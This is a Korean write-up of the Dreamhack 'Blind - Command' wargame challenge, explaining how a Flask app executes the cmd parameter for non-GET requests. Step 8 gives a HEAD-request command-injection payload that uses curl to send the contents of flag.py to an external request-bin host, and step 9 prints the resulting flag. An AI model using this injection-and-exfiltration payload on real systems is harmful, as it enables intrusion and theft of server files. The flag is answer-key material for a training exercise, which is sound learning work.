[Dreamhack] Blind - Command 드림핵 워게임 문제 풀이

5 - 1 - 2. Blind - Command 드림핵 문제 풀이 

 

 

# Blind - Command 드림핵 문제 풀이 

1. 문제 정보 확인 후 문제 파일 다운로드

 

 

 

 

2. 문제의 app.py 파일 코드 분석

+ << Line 7 ~ 17 >>

: 사용한 메소드가 GET 메소드가 아닐 경우 cmd 파라미터로 전달된 값을 시스템 명령어로 실행

-->  HEAD나 OPTIONS 메소드를 사용하여 문제를 해결해야 함 

 

 

 

 

3. 접속 링크 확인 후 안내된 URL로 접속

 

 

 

 

 

4. 상단의 url을 ?cmd=[cmd] 형식에 맞추어 조작 시도 

 

+ 입력한 값(=wow)을 그대로 출력하는 것을 확인

 

 

 

 

5. 드림핵 툴 사이트(https://tools.dreamhack.games/requestbin/vmgkpnu) 에 접속하여 Request Bin 기능을 사용하여 flag 값을 전송받을 임의의 링크 생성

 

 

 

 

6. 버프스위트를 열고 안내된 링크인 http://host3.dreamhack.games:21503/ 으로 접속

+ 문제 풀이를 여러 번 시도하여 문제 해결 시 안내 링크와 포스팅 상의 링크가 상이함

+ 위 경우에는 proxy 서버를 사용하지 않고 접속

 

 

 

 

7. Proxy 탭의 Request 란의 코드들을 Repeater 로 전송 후 Send 버튼 클릭

 

 

 

 

8. Request 란의 코드를 아래와 같이 수정 후 Send 버튼 클릭

+ HEAD /?cmd=

curl%20https://vmgkpnu.request.dreamhack.games%20-d%20%22$(cat%20flag.py)%22 

-->  전송 방식 : HEAD 메소드

-->  이용 값 : cmd 파라미터 값

-->  전송 값: flag 값

-->  전송 목적지가 되는 외부 서버 : https://vmgkpnu.request.dreamhack.games

 

 

 

 

9. 다시 Request Bin 페이지로 돌아와 전송된 데이터 확인 

Flag는 DH{4c9905b5abb9c3eb10af4ab7e1645c23}

+ 서버에서 POST 방식으로 Flag의 값이 전송되었음을 확인

 

 

 

 

+ 문제 풀이 참고

https://lrtk.tistory.com/82

https://mokpo.tistory.com/186?category=478181